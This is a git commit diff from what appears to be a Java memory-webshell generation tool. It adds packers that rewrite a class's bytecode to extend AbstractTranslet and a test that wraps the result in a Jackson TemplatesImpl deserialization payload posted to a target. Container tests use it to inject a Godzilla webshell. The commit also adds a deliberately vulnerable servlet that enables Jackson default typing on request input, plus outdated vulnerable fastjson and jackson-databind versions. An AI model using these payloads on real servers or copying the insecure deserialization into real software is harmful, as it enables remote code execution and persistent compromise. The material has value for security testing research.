mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support AbstractTranslet packer
This commit is contained in:
@@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
|||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
|
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
|
||||||
|
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@@ -126,6 +127,9 @@ public class ShellAssertion {
|
|||||||
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
||||||
" ]]\n" +
|
" ]]\n" +
|
||||||
"]";
|
"]";
|
||||||
|
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
|
||||||
|
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
|
||||||
} else {
|
} else {
|
||||||
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
}
|
}
|
||||||
@@ -395,6 +399,7 @@ public class ShellAssertion {
|
|||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
|
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
|
||||||
|
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
||||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -53,7 +53,8 @@ public class Tomcat8DeserializeContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
public class ClassSuperClassUtils {
|
||||||
|
|
||||||
|
public static byte[] addSuperClass(byte[] bytes, String superClassName) {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, 0);
|
||||||
|
ClassVisitor cv = new AddSuperClassAdapter(cw, superClassName.replace('.', '/'));
|
||||||
|
cr.accept(cv, 0);
|
||||||
|
return cw.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static class AddSuperClassAdapter extends ClassVisitor {
|
||||||
|
private final String newSuperName;
|
||||||
|
|
||||||
|
public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) {
|
||||||
|
super(Opcodes.ASM9, cv);
|
||||||
|
this.newSuperName = newSuperName;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visit(int version, int access, String name,
|
||||||
|
String signature, String superName, String[] interfaces) {
|
||||||
|
if (!"java/lang/Object".equals(superName)) {
|
||||||
|
throw new IllegalStateException(String.format(
|
||||||
|
"Cannot add superclass to class '%s': it already extends '%s'.", name, superName
|
||||||
|
));
|
||||||
|
}
|
||||||
|
super.visit(version, access, name, signature, newSuperName, interfaces);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if ("<init>".equals(name)) {
|
||||||
|
return new ChangeConstructorAdapter(mv, newSuperName);
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class ChangeConstructorAdapter extends MethodVisitor {
|
||||||
|
private final String newSuperName;
|
||||||
|
|
||||||
|
public ChangeConstructorAdapter(MethodVisitor mv, String newSuperName) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.newSuperName = newSuperName;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitMethodInsn(int opcode, String owner, String name,
|
||||||
|
String descriptor, boolean isInterface) {
|
||||||
|
if (opcode == Opcodes.INVOKESPECIAL &&
|
||||||
|
"java/lang/Object".equals(owner) &&
|
||||||
|
"<init>".equals(name)) {
|
||||||
|
super.visitMethodInsn(opcode, newSuperName, name, descriptor, isInterface);
|
||||||
|
} else {
|
||||||
|
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+37
@@ -0,0 +1,37 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.objectweb.asm.ClassReader;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/19
|
||||||
|
*/
|
||||||
|
class ClassSuperClassUtilsTest {
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(EmptySuperClass.class).make().getBytes();
|
||||||
|
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
assertEquals("java/lang/Object", new ClassReader(bytes).getSuperName());
|
||||||
|
assertEquals(superClassName.replace(".", "/"), new ClassReader(newBytes).getSuperName());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testException() {
|
||||||
|
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(SuperClass.class).make().getBytes();
|
||||||
|
assertThrows(IllegalStateException.class, () -> ClassSuperClassUtils.addSuperClass(bytes, superClassName));
|
||||||
|
}
|
||||||
|
|
||||||
|
class EmptySuperClass {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
class SuperClass extends EmptySuperClass {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -44,6 +44,10 @@ import com.reajason.javaweb.packer.spel.SpELPacker;
|
|||||||
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||||
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
|
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
|
||||||
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
|
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
|
||||||
|
import com.reajason.javaweb.packer.translet.AbstractTransletPacker;
|
||||||
|
import com.reajason.javaweb.packer.translet.JDKAbstractTransletPacker;
|
||||||
|
import com.reajason.javaweb.packer.translet.OracleAbstractTransletPacker;
|
||||||
|
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
||||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||||
@@ -87,6 +91,11 @@ public enum Packers {
|
|||||||
*/
|
*/
|
||||||
BCEL(new BCELPacker()),
|
BCEL(new BCELPacker()),
|
||||||
|
|
||||||
|
AbstractTranslet(new AbstractTransletPacker()),
|
||||||
|
JDKAbstractTransletPacker(new JDKAbstractTransletPacker(), AbstractTransletPacker.class),
|
||||||
|
XalanAbstractTransletPacker(new XalanAbstractTransletPacker(), AbstractTransletPacker.class),
|
||||||
|
OracleAbstractTransletPacker(new OracleAbstractTransletPacker(), AbstractTransletPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 脚本引擎打包器
|
* 脚本引擎打包器
|
||||||
*/
|
*/
|
||||||
@@ -94,6 +103,7 @@ public enum Packers {
|
|||||||
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
|
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
|
||||||
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
|
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
|
||||||
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
|
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
|
||||||
|
|
||||||
Rhino(new RhinoPacker()),
|
Rhino(new RhinoPacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.packer.translet;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/19
|
||||||
|
*/
|
||||||
|
public class AbstractTransletPacker implements AggregatePacker {
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.packer.translet;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/19
|
||||||
|
*/
|
||||||
|
public class JDKAbstractTransletPacker implements Packer {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
|
||||||
|
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
|
||||||
|
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
return Base64.encodeBase64String(newBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.packer.translet;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/19
|
||||||
|
*/
|
||||||
|
public class OracleAbstractTransletPacker implements Packer {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String superClassName = "com.oracle.wls.shaded.org.apache.xalan.xsltc.runtime.AbstractTranslet";
|
||||||
|
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
|
||||||
|
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
return Base64.encodeBase64String(newBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.packer.translet;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/19
|
||||||
|
*/
|
||||||
|
public class XalanAbstractTransletPacker implements Packer {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String superClassName = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
|
||||||
|
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
|
||||||
|
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
||||||
|
return Base64.encodeBase64String(newBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -29,6 +29,9 @@ val filesToCopy = objects.fileCollection().from(
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.caucho:hessian:4.0.66")
|
implementation("com.caucho:hessian:4.0.66")
|
||||||
implementation("org.yaml:snakeyaml:1.27")
|
implementation("org.yaml:snakeyaml:1.27")
|
||||||
|
implementation("com.alibaba:fastjson:1.2.47")
|
||||||
|
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
|
||||||
|
implementation("xalan:xalan:2.7.2")
|
||||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.annotation.WebServlet;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/16
|
||||||
|
*/
|
||||||
|
@WebServlet("/jackson")
|
||||||
|
public class JacksonServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
new ObjectMapper().enableDefaultTyping().readValue(data, Object.class);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user